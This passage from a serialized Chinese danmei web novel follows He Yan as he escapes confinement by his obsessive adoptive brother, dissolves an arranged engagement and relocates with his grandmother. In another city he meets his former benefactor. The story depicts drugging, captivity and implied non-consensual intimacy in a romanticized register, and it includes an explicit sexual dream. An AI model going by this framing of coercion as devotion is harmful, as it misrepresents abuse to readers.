岑靳松了口气,他勾起唇角笑了笑:“那我已经替你打过了,估计他短时间都没办法出现在你眼前。” “谢了,不过我早晚会亲自把他揍一顿。”贺衍阴着一张脸,“最好再把这家伙送到监狱里。” 或许是久违的阳光,或许是太长时间没跟人说过话,或许是因为岑靳把自己从那个地方救了出来。 贺衍也没什么顾忌,直接说道:“你是不知道,那疯子也不知道是脑子里哪根筋抽了,不分青红皂白把我关到那里。他把我当狗一样,给我栓个狗链子,饭点给饭,其他时间都见不到人。” “那房间你估计也看见了,什么都没有,我一个人待在那个房间里都快疯了。” 贺衍越说越气,额头上的青筋凸起,眼底的怒火熊熊燃烧。 岑靳愣住了,眼底的神色有些复杂。 贺衍好像不清楚他后背上的痕迹。 他瞳孔忽然猛缩,想到了昨晚医生说过的话,那种药会使病人陷入深度昏迷。 贺琚那家伙,他当时就应该揍死他。 岑靳眸中的寒意几近要凝结成实质。 贺衍站了起来,他走到岑靳面前,挥了挥手:“这次多谢你了。不过被关那么多天,好多事都耽误了,我就先不多打扰你了。” 岑靳眼中的寒意瞬间消融,他愣在原地。 眼看贺衍就要开门离开,大脑没经过思考就说道:“这次你欠我的人情——” 贺衍警惕地眯了下眼,视线忽然变得锐利。 岑靳郁闷地叹了口气:“我又没让你现在还我。” 他憋了半天,终于憋出一句话:“但是至少,你不能再讨厌我了吧。” 贺衍嗯了一声。 “你的人情,我会还你的。” 岑靳眼睛一亮。 贺衍目光平静地看着岑靳:“用正常的方式。” 岑靳的眼睛又暗了:“我现在虽然不能随时待在你身边,但只要你有问题,随时联系我,我一定会赶过去的。” “岑靳,谢谢你。你大概是我在淮新唯一的朋友了。” 谁想当你的朋友啊。 这么想着,岑靳脑子一热,几乎是脱口而出:“贺衍,我喜欢你。” 这句话像是触动了大脑深处的什么神经一般,贺衍的脸色几乎肉眼可见的沉了下来。 “抱歉。”贺衍抿着唇,眸色冷冽,语气也很冲,“我很感激你把我从那个鬼地方弄出来。但如果你打算和之前一样挟恩图报,那答案你应该清楚。” 岑靳后悔地抿唇,糟了。 他补救般地说道:“你现在是不是没喜欢的。那能不能再等我半年,半年后,我就——” 贺衍打断了他:“这种事情,到时候谁又能知道。” 岑靳想要再说些什么,但是接触到贺衍仍有些脆弱的神色。 终究还是没有说出口,只是送他到了圣洛莱索。 这次,他的车开得很慢。 诺布莱斯区。 贺衍把别墅翻了个底朝天,终于找到了被贺琚锁在铁盒子里的手机。 这是岑靳给他的那部手机。 贺衍的眸色暗沉,如果他之后要离开淮新,这部手机也不能用了。 手机已经没电自动关机了。 贺衍充上电。 手机开机的瞬间,裴屷的消息第一个弹了出来。 他回复了句:[等你下课,我去找你。] 贺衍退出微讯,点开了浏览器。 几乎不需要他动手搜索,浏览器推送的第一条就是本次联邦大选的结果。 不出所料,裴行赫以百分之七十二的超高得票率当选。 贺衍眸中闪过一丝暗芒。 现在是十二月初,距离裴贺两家的订婚宴,只有半个月不到了。 手机电量充得差不多了。 贺衍走到了裴屷的别墅前。 他刚按下门铃,管家就打开了门:“贺衍少爷?您,您居然来了,快请您。” 贺衍有些惊讶管家的态度,但还是跟着他走了进去。 转过走廊的拐角,和裴屷迎面相逢。 两个人的视线在空中交错,但很快彼此就又移开。 “贺衍。” 裴屷说完这两个字后,忽然陷入了某种古怪的沉默当中。 现在已经是初冬,虽然才六点不到,但天已经彻底黑透了。 没了暖阳的温热,呼吸间满是冰冷的寒意。 管家看着忽然沉默的两人,立刻说道:“两位少爷,咱们先进屋再说吧。” 管家给两人倒上茶,又端上了一盘糕点,默默退了出去。 贺衍正准备开口商量解除婚约这事,裴屷却突然开口了:“你请假一周是因为感冒了吗?” 贺衍眸色一沉,他已经知道贺琚是用这个理由给自己请假。但他不想裴屷知道自己被囚禁这事,于是点了点头。 贺衍抿了口热茶,驱散了些许寒意,但也错过了裴屷明显愕然又失落的神色。 “再有两周就是订婚宴了,留给我们的时间不多了。”贺衍将茶杯放下。 瓷器和木质桌面碰撞,发出清脆的响声。 裴屷回过神,黯然的神色消失,但他的眼睛却低垂着,看似漫不经心地问道:“贺衍,你想解除婚约的原因是什么?” 贺衍挑眉,裴屷这话真是奇了怪了,他直接说道:“这还需要理由吗,一开始不就清楚得很。要不是因为个中缘由,咱俩根本就不可能订婚啊?” 是啊,他们都清楚得很。 裴屷的睫毛轻颤,遮住了眼底的情绪。 心脏像是被什么东西在一点一点地蚕食着,很钝的痛感,但很难受。 裴屷低语:“其实,不用解除——” 贺衍根本没听到裴屷的话,他的眼神发亮,神色坚定:“我已经想到办法了,只要将当初我给你下药这件事散布出去,再在网上散布我的黑料。现在裴行赫总统民意支持率真是最高的时候,只要将一切都推到我身上——” “不可能。”裴屷斩钉截铁地打断了他的话,指节叩在桌面上发出清脆的响声。 “贺衍,我不同意。” 裴屷直直地看着贺衍,一字一句地说道:“如果是用这种方式,我绝对不同意。” 贺衍蹙眉,他不甘示弱地盯着裴屷的眼睛:“但这绝对是最快的方式,也不会对裴家的名誉造成损害。” 裴屷的下颌线绷得死紧,每个字都像钉进木板的钉子:“反正,这件事,我决不会配合你。” 两人的谈话不欢而散。 贺衍猛地起身,椅子在地面刮出刺耳声响。 贺衍下颌紧绷,眼神冷得像淬了冰。不管裴屷同不同意,他已经绝对要这么干了。 他没有太多时间了。 订婚宴之后,贺忠载对他的监控绝对会比现在更加严格。 还有那个疯子。 他一定要尽快离开这里。 贺衍的脚步声砸在走廊的地板上,一声比一声重。 晚上七点。 贺衍刚回到贺家,还没来得及走进房间,就被贺忠载叫了过去。 贺忠载双手交叉,掀起眼皮冷冷地看了他一眼:“我还以为你不愿意回来了,是你把消息放出去的?” 贺衍心里满是问号,但还是诚惶诚恐地摇了摇头:“不是我。” 贺忠载也不知道是信还是没信,他垂眸打量着贺衍:“就算你才是我真正的孩子,但是在我没有允许之前。真假少爷这事,至少现在,我还不希望被传出去。” “消息我已经截下了,不要有下一次。你明白吗?” 真假少爷? 贺衍瞳孔轻颤,所以贺忠载是以为自己故意泄露这件事,所以才不敢回学校也不敢回家。 贺琚还真是打了一手好算盘。 接下来很长的时间,贺琚都没有露面。贺忠载对此没任何表示,似乎并不知情。 贺衍想报复,但连人都找不到。 但现在最要紧的是离开这里。 谣言兴起的当晚。 一直关注着网络动向的裴屷就发现了。 他怒极反笑,冷呵了一声,一通电话就给贺衍打了过去。 他的声音压抑着怒意:“贺衍,你为什么非得用这种把自己搞得声名狼籍的方式。” “裴屷,反正这事对你没坏处。” 贺衍表情淡漠,语气平静:“只要结果是我们想要的不就行了吗?” “我找了不下数百家媒体,你就算想禁也禁不完,总有人愿意为了钱铤而走险。” 沉默在空气中蔓延。 裴屷的指节因为过于用力泛着白,青筋凸起,他的指尖颤抖着,张了张口,终于从牙缝里憋出一句话:“我会把这件事对你的影响降到最低的。” 贺衍毫不在意地说了句:“谢了。” 真假少爷的风言风语传播的速度远不如裴家和贺家可能要解除婚约的声音大。 贺忠载能截下窃窃私语,但却不能阻拦如野火般蔓延的谣言。 裴贺两家联姻或终将破裂的声浪越演越大。 谣言在社交平台上病毒式扩散,包揽各大媒体热搜词条。 圣洛莱索内部论坛。 [我就说贺衍这个小人绝对使了什么卑鄙手段,居然是靠下药蒙骗。] [对啊,对啊。怪不得当初裴屷在贺家宣布订婚的那晚,脸色那么差。你们都还说我看错了。] [但好奇怪啊,我想着在网上发贺衍的任何照片,就算是模糊到十几米开外的那种,都发不出来。] [怪事不止这一件,你可以说是贺家的儿子,可以说裴家的婚约者,你甚至可以直接提贺忠载的名字。 但就是打不出贺衍这两个字,不管是谐音还是拼音,还是什么其他乱七八糟的暗示。] …… 乱骂全部扑向了贺家,贺家的股票一落千丈。 贺忠载脖颈暴起青筋,胸膛剧烈地起伏,他冷着声音:“给我查!我要知道是谁在背后推波助澜!” 保镖们噤若寒蝉地退出书房,但一天过去,两天过去,却始终没有找到任何线索。 怨声再起,股票几近跌到冰点。 各种负面舆情再度爆发,贺氏集团的股价如雪崩般一路狂泻。 集团的股东已经在这几天内给贺忠载多次施压,要求他快速澄清此事。 贺忠载顶不住压力终于选择发布了公告:[订婚是不实传言,贺家从来没有和裴家订婚,更不会举办订婚宴。] 贺家,书房。 贺忠载清楚,如此大规模的,不会是贺衍的手笔,绝对有裴家的人插手。 即使他这时候放出裴行赫杀人的证据,也不会有人相信,反而会认为他不过是故意污蔑诽谤。 “废物东西!”贺忠载抄起茶杯就向贺衍砸过去。 瓷片在地上碎裂,散落一地。 但和上次不一样,贺衍这次躲开了。 他抬起眼睛看向贺忠载,依旧一言不发。 贺忠载脖颈青筋暴起,手指发颤地指向门外:“你连让人跟你订婚都做不到,现在这个局面,老子带你回来有什么用!” 贺忠载还怀有最后一丝期待:“要是你不能让裴屷回心转意,那就给我从哪来滚哪里去!” 贺家通过各种渠道得知了裴屷这周六的行动路线。 周六当天,天气晴朗,万里无云。 贺衍被一群保镖带着,来到了裴屷的必经地点。 这里是一家私人茶咖。 裴屷坐在里面,似乎正静静地翻阅眼前的书。 阳光落在他的身上,仿佛一幅画一般。 但已经过去半个小时,书本的页数依旧停留在这一页。 黑色轿车在不远处停下,贺叁将窃听器安到贺衍身后。 他将贺衍推下车,半是威胁半是嘱咐地说道:“贺衍少爷,别忘了老爷的吩咐,您现在可以进去了。” 门口的风铃响了。 裴屷抬头,一眼就看了贺衍,原本黯淡的眸光倏地亮了起来。 他身体前倾,下意识想要站起来,却被贺衍眼神阻止了。 贺衍走近坐下,打开了信号屏蔽仪:“现在可以了,贺家的人在我身上安了窃听器。” “现在信号消失,他们应该会以为是你的原因。” 裴屷的语气里带着微不可察的期待,但他的表情却丝毫没有隐瞒这一点:“你约我到这里,是——” 可惜贺衍的注意力并没有放在他身上。 贺衍瞥了一眼黑车的方向,确定他们那个位置无法观察到这里。 他掀起眼皮,语气诚恳地拜托道:“拜托你和我演一出戏,贺忠载似乎还没死心。” 裴屷听到贺衍说出口的这句话,眼底那簇火苗猛地晃了晃,然后熄灭了。 他的薄唇抿成平直的线,指尖不受控制地忽然发麻,最后整个身子都僵硬了。 裴屷的喉结上下滚动几次,却只咽下一口带着铁锈味的空气。 他低头扯了扯嘴角,再抬头时,面上已然恢复了平静,语气平静到诡异:“贺衍,你让我陪你演戏?” 贺衍毫无察觉地点了点头,声音里几乎有些迫不及待:“对,一会儿我们走到门口那里就开始。” 他的确也迫不及待,等贺忠载彻底失望,他就可以离开淮新这糟心的狗地方了。 贺衍这句话还没说完,人已经站了起来。 但还没走几步,就被迫停下了。 贺衍奇怪地回眸,瞳孔忽得一惊,整个人怔在了原地。 裴屷哭了? 贺衍震惊得几乎说不出话来,他想抽出袖口。但裴屷的手指死死绞住不放,甚至连骨节都因为用力泛着青白。 他的睫毛上还挂着将坠未坠的水光,眼眶红了一圈,声音哑得不成调:“我不想演戏。” 裴屷喉结剧烈滚动了几下,扯出一句支离破碎的哀求:“贺衍,我们可以不要解除婚约吗?” 裴屷小心翼翼地看着贺衍,他左边的眼睛颜色似乎更浅了,衬得眼眶也更红了。 贺衍面无表情地拨开他的手指,抽出了自己的袖子。 戏演完了。 回去的路上,车内的氛围陷入了冰点。 贺叁声音冷得像淬了冰:“您似乎完全辜负了老爷的期待。” 贺家,书房。 贺忠载的脸色阴沉如铁,额角青筋暴起,他的拳头重重砸在桌面上,震得桌面上的茶杯叮当作响。 “我没你这个儿子!”那双布满血丝的眼睛死死瞪着贺衍。 “滚出去!”他的怒吼声震得窗玻璃都嗡嗡颤动,贺忠载脖颈涨得通红:“你过来干什么!现在TM的就给老子滚出去,别再碍我的眼!” 贺衍离开书房,脚步瞬间轻快,嘴角不自觉地上扬, 一切的计划都很顺利,他马上就要离开这里了。 贺衍忽然停下了脚步,眼底的笑意瞬间变成了森然的寒意。 时隔半个月,他终于再次见到了贺琚。 二楼的阶梯之上,贺琚居高临下地站在那里。 逆光将他的身影勾勒成一道修长的剪影,阳光从他微卷的发丝间穿过,每一根发梢似乎都在发光,美得不可方物。 可那轻快的语调却像毒蛇吐信:“哥哥,你是要被爸爸给赶出去了吗?” 阳光在他们之间流淌,却丝毫不见暖意,反到是无声地对峙。 逆光下,贺琚的神情模糊不清,声音却带着蜜糖般的甜蜜黏稠感:“山里的那套别墅,我早已经过户给哥哥了。钥匙,也很早就给哥哥了。” “但是哥哥却没有发现这一点。”贺琚最后一个音节愉悦地上扬,“真可怜啊,居然被白白关了那么久。” 贺琚完全忽略了,他根本没给贺衍准备任何东西的机会。 贺衍迈步走了上去。 那张漂亮得过分的脸上满是病态的迷恋,眸中的墨色黑得要溢出来。 在贺衍迈上最后一节阶梯的瞬间,贺琚忽然俯身,卷曲的刘海垂下来。 他忽然笑了笑,低声用气音说道:“那些天,我每晚都和哥哥睡在一起,哥哥一定不知道吧。” 接二连三的“咚”“咚”声,贺家的佣人奇怪地抬头,瞳孔缩成针孔状。 少爷居然从楼梯上摔下来了! 温热的鲜血从贺琚额角的伤口涌出,顺着太阳穴滑落。 但他却依旧还在笑着。 “少爷,您没事吧!”佣人的声音颤得要命,全身都因为眼前的一幕颤抖着。 贺琚掩下喉咙里的铁锈味,笑容愈发艳丽:“没事,只是养的宠物不听话。不小心才摔了下来。” 他想到刚才自己碰到贺衍身体时,哥哥下意识地颤抖。 贺琚唇角的笑意扩大,连身上的痛意都减轻了。 再让哥哥自由一个晚上吧,明天,他就要带哥哥回他们的家了。 这次,没人能再来打扰他们了。 佣人虽然疑惑少爷哪里有什么宠物,但是他根本没时间多想,把贺琚扶到沙发上坐下后,急匆匆地去喊医生了。 但第二天。 贺衍却消失了。 好像他从来没有出现过一样。 第68章 第 68 章 腰窝 第68章 一个月后。 姆扎州, 津兴市,康泰和医疗中心。 提起姆扎州,人们最先想到的就是姆扎州的首府铜海市。铜海是全联邦最为发达的地区之一, 几乎可以和淮新媲美。 享誉联邦的俞杉风投总部就坐落在此处。 姆扎州大部分城市都临海, 但津兴市却是一个彻彻底底的内陆城市。 津兴虽然也在姆扎州境内,但很不起眼, 地理位置比较偏,和附近的奈杜州之间只隔了一个市。 而康泰和医疗中心则是津兴一家以私密著称的私立医院。 正值工作日,医院的人流量并不多。住院部一楼,服务台的两个值班护士正在闲聊。 棕色卷发的护士低声说道:“卡琳,你听说没有, 据说贺氏集团又出了个大新闻。” 卡琳眼睛睁大一瞬:“不是吧, 贺家又出乱子了。不会比上次谣传要和裴家联姻这事还要大吧。” 卡琳长叹了一口气:“慧慧, 你是不知道。我老公买了贺家的股票,上个月他几乎每天都在哭。要不是后来贺家发了声明,股票又恢复正常了, 他都想去跳楼了。” 叫慧慧的卷发女生眨了眨眼:“这次倒没那么严重,就是听说贺家得了继承权的那个少爷好像不是他家的亲生儿子。那个亲生儿子似乎刚找回来没多久就死了, 就前段时间没多久去世的。反正那么大的集团就便宜一个外人,还挺唏嘘的。” 卡琳摆了摆手:“这事我也知道, 反正不波及股票就没啥。而且也不能说是外人吧, 养了十八年呢。” 慧慧点了点头。 两人又闲聊了一会儿, 忽然说到了娱乐圈的明星。 聊到自己感兴趣的话题, 卡琳的眼睛比刚才亮了好几倍:“嵇星娱乐传媒公司旗下新推的明星,名字叫行水,长得那叫一个好。不是我瞎说,那长相, 娱乐圈里没一个能比得上。” 慧慧发出质疑:“连贺衍小哥都比不上吗?” 卡琳伸出手指摇了摇:“那不是一个风格的。贺衍小哥那是五官立体硬朗的超级大帅哥,但行水是超级美少年。” 卡琳继续激动地安利:“而且他不是怀楠那种靠化妆画出来的,是真的那种就算是素颜也像是从画里走出来的美少年。也不知道嵇星传媒怎么找的,质量也太高了。” 慧慧低头看了眼卡琳手机的视频。 她眨巴眨巴眼睛,赞同了卡琳的话。不过她还是更喜欢贺衍那种,虽然是自己完全招架不住的类型。 住院部大厅一楼。 一个青年走了进来,他身量极高。 只是头发剃得很短,板寸贴着头皮,有种泛着青茬的冷硬质感。 也正因如此,极具视觉冲击力的五官没有了任何阻挡。 他生了一副让人不敢直视的相貌,眉骨如刃,浓黑的眉之下压着一双寒星似的眼,像是黑曜石一样。 一道疤就横在他的额角,很浅,约莫两厘米左右,颜色要比周围皮肤淡些,像是被什么锋利的东西蹭过,但不仔细看几乎察觉不到。 他的眼型也极漂亮,内勾外翘,眼皮很薄,褶皱极深,眼尾微微上挑。 只是那双眼睛看人时的目光沉而冷,带着些天然审视的意味。 但睫毛却意外地浓密,垂眼时在冷白的皮肤上投下细碎的阴影,莫名透出几分倦怠的性感。 卡琳瞥到贺衍,立刻手肘顶了顶慧慧:“喏,那不是贺衍小哥。” 慧慧眼睛瞬间亮了起来:“贺衍,你先别上去。” “卢护士,有事吗?” 贺衍眉梢微蹙,但还是迈步走向服务台。 卢慧慧的手心紧张得出了汗,她轻咳了一声,不敢看那双眼睛:“你奶奶现在不在病房,刚才我看见她去花园里散步了。老太太最近身体恢复得特别好,过几天应该就能出院了。” 贺衍点头:“多谢。” 刚离开淮新的那一周,他并没有直接来到津兴市,而是辗转从海上先到了特里州,再到亚纽州,最后才来到了姆扎州。 津兴市在姆扎州可以说是一个毫不起眼的小地方,但康泰和医疗中心的数据库,连顶级黑客都黑不进去,这也是他当初会选择这家私立医院的原因。 这家医院的费用在联邦同水平的私立医院中并不算特别高,住院费加上药费和理疗费,零零总总每个月需要十五万。 几个月前他靠卡森的股票动荡从股市里套出一大笔钱。 离开淮新前,这些钱还剩下七百多万。他将其中的七百万都存到了一张卡上,那张卡现在应该已经寄到了岑靳手上。 他现在并不缺钱,身上剩下的钱,包括贺振刚给的那些钱,还剩下三百万左右。 这些钱足够他和奶奶在一个新地方开始新生活。 津兴市的消费水平虽然比不上淮新,但作为发达地区的城市,跟罗河县比起来还是要高出一大截。 三百万最多只能在津兴买一套毛坯房。 他不清楚自己会在津兴待多久,比起购房显然是租房更加合适。 而且只要不通过中介公司,而是直接找到个人房东,租房合同的相关信息就不会在互联网上留存。 只是适合的房源却比想象的更加难找。 花园暖房。 弧形透明的玻璃穹顶将铅灰色的寒冬隔绝在外,阳光柔和地斜洒在花园内的小径上。 杨梅霞坐在长椅上,一个穿着深灰色的大衣黑发的男人坐在她的对面。 两个人在说话。 杨梅霞看起来有些不舒服,贺衍眉头一皱,大步走了过去。 贺衍走到杨梅霞身边,将她护在了身后,语气冷硬对着男人说道:“你在干什么?” “小衍,你怎么过来啦。”杨梅霞的声音又惊又喜,“我还以为你要等到五六点才过来呢。” “今天提前结束了。” 贺衍低声解释了一句,视线却一直盯着对面的男人;“奶奶,他刚才在欺负你吗?” 贺衍并没有压低刚才那句话的声音,男人听到后挑了下眉,他掀了下眼皮,和贺衍对视。 阳光落入他的眼中,照亮了那双几近深黑的墨绿,像是一泉幽谭。 他的气质沉稳,姿态从容。 随后他站了起来,对着杨梅霞微微点头:“阿姨,看来您孙子过来找您了。那我就先离开了,有缘下次再聊。” 男人的音色低沉醇厚,像是大提琴在独奏。 这声音带着某种诡异的熟悉感。 但贺衍并没有抓住这一瞬的异样,他脑中正在构思如何用简单易懂的方法提高奶奶的防诈骗意识。 毕竟有些人看着不像坏人,但并不代表不是。 可杨红梅却从他身后走出来,焦急地喊住了男人:“老师,您先别走啊。” 杨梅霞拽了拽贺衍的袖子,示意他礼貌一点:“这位老师是大学教授。我刚才正在和他聊你的事情。你这些天一直在外面打工,难道真的不打算去上高中了吗,只剩下半年不到的时间了,大学你还上不上了。” 杨梅霞的语气严厉,随后她又转向那个男人,脸上出现了和刚才如出一辙的愁容。 “老师,您能不能替我劝劝我孙子。刚才我也跟您说了,他学习成绩一向很好。但是这些天我怎么说他,他都不打算去上学。这可怎么办啊。” “抱歉,刚才误会了。”贺衍虽然这么说着,但眼中的警惕没有消失半分,他并不相信这个年轻地看着才三十岁左右的人会是什么大学教授。 别是什么专门骗老年人的骗子才好。 “奶奶,我们走吧。”贺衍拉着杨梅霞,低声说道:“不用麻烦这位老师了,您一会儿心里有什么想法,直接跟我说就行,我保证会听的。” 杨梅霞欲言又止,她有些不情愿地跟着贺衍往前走:“小衍,我还多想和这位老师多聊一会儿呢。他刚才说得很对,你这个年纪,如果不读书就进入社会……” 贺衍哭笑不得,他什么时候说不读书了,只是不打算继续读高三,而是打算直接进行联邦成人高考罢了。 “等等,你是阿衍,贺衍?”身后传来的声音里带着几分迟疑和惊讶。 但贺衍并没有停下脚步,反而蹙起了眉头,他低声问道:“奶奶,你刚才是不是把我的名字告诉他了。” “没有啊,我刚才没和他说你的名字啊?” 贺衍眸色微沉,那这个人怎么会知道我的名。 紧接着,声音又出现了:“阿姨,您是叫杨梅霞吧?” 祖孙二人同时停下了脚步。 贺衍转身,神色带着几分冷淡的疑惑:“你怎么会知道我们的名字。” 男人迈步走到二人面前。 “大概是因为——”墨绿的眸子微垂,随后唇角扬起一抹很小的弧度,但整张脸却温和了很多,声音也含上了几分笑,“我是Y。” 这位自称是Y的男人看向杨红梅:“当初您的照片比现在憔悴多了,也是您孙子出现,我才意识到,原来是你们。” 贺衍眉梢一挑,看来这骗子是提前做过背调了,是打算专门来骗人的,可惜,连Y阿姨的性别都搞错了。 当年奶奶检查出白血病后,化工厂赔偿的钱并不足以支撑她在医院的费用,家里的钱也不够。 所以贺衍筛选出了一家还算不错的慈善机构网站,将他和杨梅霞的信息上传了上去,之后一名昵称是Y的人联系了他,并报销了杨梅霞的医疗费用。 两年后,贺衍年满十六周岁,便开始在课余时间打工赚钱。在能够维持基本生活后,他便没有再接受Y的资助,让她帮助那些更需要帮助的人。 “抱歉,你大概认错人了。” 真是一只警惕的小狼。 男人唇角上扬的弧度比刚才更大了些,墨绿色的瞳孔划过一丝笑意:“是吗。” “看来十四岁因为政治没考及格得不到奖学金,在信里抱怨学校制度不合格的那个人不是你。” …… “去年暑假的那封信,里面说因为要搬家所以之后不方便收信的那个人也不是你。” 他说的这些事,自己只在信里写过。 总不能是这个男人拦截了每一封信吧。 贺衍瞳孔猛缩,指尖不自在地蜷缩了一下。 他像是被放到了蒸锅上一样,整个人看着比刚才红了一圈,看起来尴尬又无措。 所以,他之前一直以为的四五十岁慈善温和的中年阿姨Y,原来是一个比自己大不了多少岁的男人吗? 外表十八但实际已经二十六岁的贺衍大脑暂时停止了运转。 他当时年少不更事,在奶奶刚住院的那段几个月,几乎把Y当作了永远不会见面但总会给予安慰的树洞。 不过后面随着年龄变大,他只会在逢年过节的时候写信问候这位好心的“阿姨”。 五个月前来到淮新到现在,他也只是在圣洛莱索开学前给Y寄了一封信。 但寄信的地址明明是隔壁的奈杜州啊,距离姆扎州不说隔十万八千里,距离津兴市也有四五百里了啊。 男人看了眼还在怀疑人生的贺衍,头发怎么剃得这么短。 他眉梢微挑,眼底闪过一丝和他刚才的语气并不相符的锐利,随后又消散在了一片墨绿之中。 “杨阿姨,你现在身体怎么样?” 杨梅霞听完两人的对话,自然明白了男人的身份:“现在已经好很多啦,再过一周就要出院啦。当年还真是多谢你了,这也真是太巧了……” “您喊我鄢忬就好。” 两人又闲聊一会儿。 鄢忬若有所思地说道:“所以,你们现在是在找房子租住吗?” 杨梅霞叹了口气:“我们因为一些原因,只想找个人房东租房,但是——这孩子找了很久,始终没有找到合适的房源。” “我家的邻居正准备将房子出租,而且那套房子就在津兴市中心附近。” 鄢忬不着痕迹地瞥了眼还在发呆的贺衍,抿唇笑了下:“那里交通很发达,周围的医院也很多,而且小区内的适老化设施也不错。” “如果你们想去看的话,我可以找个时间带你们去看看。” 鄢忬说完这话,忽然对着贺衍笑了下:“阿衍,你要去看看吗?” 他唇角弧度微扬,有些促狭地说道:“我记得你当初还在信里写,你想要一个朝阳的房间,里面最好有一整墙的展示柜都放满你喜欢的各种飞机的模型。” 贺衍尴尬地笑了下,打断了鄢忬继续说下去:“那您什么时候有空,按您的时间来就好。” 他头皮发麻,脚趾简直能扣出一座城堡来。他现在已经相信眼前这个看起来最多三十岁的男人就是那位和蔼可亲的Y阿姨了。 但想象的形象和现实的形象差距太大,他一时还有点无法完全接受。 “再过一周吧,到时候我联系你。”鄢忬勾起唇角,加了贺衍和杨梅霞的现在的联系方式。 “好。”贺衍垂着眼睛,点了点头。 贺衍语气下意识地恭敬了起来:“不过您怎么也来医院了?” “找我朋友,他是这里的医生。”鄢忬语气停顿了一下,“也是我邻居,就是他打算把房子租出去。” 鄢忬的目光落到贺衍的身上,他抬手,抚走了不知道何时落到他肩头的粉色花瓣:“下次再见。” 真是太意外了,但也太尴尬了。 贺衍长舒了一口气,刚才不知道放哪里的手脚终于放松了下来。 杨梅霞站在一旁倒是开开心心,毕竟很明显,贺衍还是很愿意听鄢老师的话的,现在有了联系方式,说不定贺衍就会被劝着去上学了。 贺衍虽然没有拒绝“长辈”的好意,不过他也不认为鄢忬说的那套房子能就符合自己的要求。 康泰和医疗中心,精神科。 主任医师办公室。 鄢忬敲门进来,坐到了对面的沙发上。 他的眉骨长且平,眼窝深陷,墨绿色的瞳仁边缘凝着冷光,一脸生人勿近的矜贵气场。 那两道浓眉几乎要压进睫毛丛里,但这种近乎压迫感的眉眼距却意外凸显了挺拔的鼻梁。 不过和冷峻的眉眼不同,他的唇却很饱满,唇线轮廓异常性感。 鄢忬掀起眼皮,随意地打了声招呼:“下午好。” 齐崇杉拿着化验单,上下打量了鄢忬几眼,然后长叹了口气:“你肯定没听我的建议,你现在看起来,比之前看起来更加——欲求不满了。” “我说老鄢同志啊,我真的建议你别来我这里了,我都跟你说了多少次了,你一次都不听,我想再多的办法也没用啊。” 齐崇杉啧了一声:“也就咱俩是老同学,我才这样劝你。你也不想想,这些年,我都替你寻来联邦多少叫得上名字的心理医生了,可你压根儿什么都不跟人家说,能治疗个屁。” 鄢忬漫不经心地扫了他一眼,带着毫不在意的冷淡。 齐崇杉越说越气:“您老今年都三十三了,一个人单了多少年了。” “要我说,你就该去找人泻泻火。性|瘾就性|瘾呗,你越憋越有问题。你要是不想负责,酒吧一夜情那不是多得很,凭你这外形条件,我敢打包票,里面的男男女女绝对争着抢着去和你一夜春风。” 鄢忬淡淡地吐出两个字:“嫌脏。” 医生啧了一声:“那你包一个吧,反正你的钱多到花不完了,包一个也干净。” 鄢忬看了他一眼,脸上也没什么情绪,只是他的眉骨本就极低,只是这么平淡的一眼,齐崇杉满腔的愤慨就直接熄灭了。 “算了,你怎么过来这么晚。”齐崇杉撇了撇嘴,小声抱怨道:“晚了得有半个小时吧。” “遇到了一个认识的小朋友。” 齐崇杉观察他说话的神情,若有所思地噢了一声:“小朋友啊,什么小朋友啊?” 齐崇杉眼睛微眯,不会是小男朋友吧。 “是之前捐助过的一个孩子。” 捐助的小孩啊,齐崇杉没听到自己想听的八卦,兴致也没那么高了。 “我们四个月前见过一面——” 他神色游离了一瞬,声音莫名暗哑了几分。 不只出现过一次的梦境在脑海中闪现。 黑暗里,那人眼尾的泪痣在昏黄的光线里晃动着。 他伸手碾过对方眼尾的泪痣,指腹重重地揉搓那一点微红的皮肤,直到它变得更艳、更红、更湿,像是被欺负狠了似的。 他换了姿势。 那人的腰背也随之绷成了一道漂亮的弧线,汗珠顺着脊背的凹陷处滑落,消失在隐秘的腰窝处—— 自己的手正牢牢地扣在那处,逼着那人随着自己的节奏起伏。 梦里的触觉格外清晰。 鄢忬的指尖微不可察地摩挲,他的喉结滚动。 他掀了下眼皮,墨绿的眼睛几乎已经全黑了:“能抽一根吗?” “医院不允许抽烟,不过这是你的医院。如果你想,没人能制止你。” 齐崇杉耸肩:“你怎么不继续说了。” 男人没有回答,他抽出一根烟,但并没有点燃,犬齿碾碎烟蒂,像是在细细品味什么。 第69章 第 69 章 喊哥还是喊叔 第69章 齐崇杉等了好一会儿, 始终不见鄢忬说话,他终于忍不住敲了敲桌面 “老鄢,回神了。” 鄢忬掀起眸子:“我先回去了。” “等等, 我有问题。”齐崇杉克制住脸上八卦的探究欲, 一脸正经地问道:“你刚才说那小孩多大了?成年了没?” 鄢忬嗯了一声,起身就准备离开。 成年了啊, 齐崇杉眼睛一转,连忙出声道:“我看你刚才那样子,估计也不讨厌那小孩。相逢就是有缘,不如试着接触接触。” 门被关上了。 齐崇杉扑哧一声笑出声,居然没反驳, 说不定以后还真能看见这铁树开花。 一周后。 下午三点, 康泰和医疗中心外。 一辆黑色的普通汽车停靠在了路边。 贺衍看了眼车牌号, 刚走到车前,驾驶座一侧的车窗就打开了。 “坐副驾驶。” 气氛安静得很,贺衍下意识地正襟危坐着, 虽然他才离开校园环境没有多久,但就算是遇到教导主任, 他也没有现在这么拘谨。 “你的头发怎么剪这么短。”鄢忬声音停顿了下,然后说道:“我看现在那些年轻小朋友, 很少有像你这样剪那么短的。” 贺衍眼中闪过一丝阴翳, 他不自然地扯了下嘴角:“这样会显得更精神一点。” 反正这种发型, 应该就不会有男的再喜欢自己了。 鄢忬挑了下眉, 这小孩在说谎。 贺衍不想再继续这个话题,于是主动问道:“我还以为您住在奈杜州,毕竟之前给您寄信的地址都是奈杜州。只是您现在怎么会在津兴市?” 鄢忬瞥了眼,眼里划过一道不明显的笑意:“和我说话有那么紧张吗?喊我哥就行。” 脑海中瞬间浮现了一张脸, 贺衍下意识抿唇,就是吐不出哥这个字。 他张了张嘴,只是说道:“也没有紧张。” “我母亲是津兴人,我小时候有段时间也在这里长大。”鄢忬声音温和,“你奶奶应该告诉你我是大学教授了吧?” 贺衍嗯了一声。 “我是去年被聘请到铜海大学的,之前大部分时间都在奈杜州。也是因为现在是寒假,所以才会到津兴来住一段时间。” 贺衍点了点头:“伯母在家吗?” 鄢忬轻轻摇头:“她去年去世了,也是因为这件事,我才决定回到姆扎州的。” 贺衍唇角嗫嚅,低声说道:“抱歉。” 鄢忬声音平淡:“不用抱歉,对她来说,去世其实也是件好事。” 听到这话,贺衍眉梢微蹙。 车内又恢复了安静。 汽车开得很稳,速度不快不慢。 半小时后,汽车开进了福安小区。 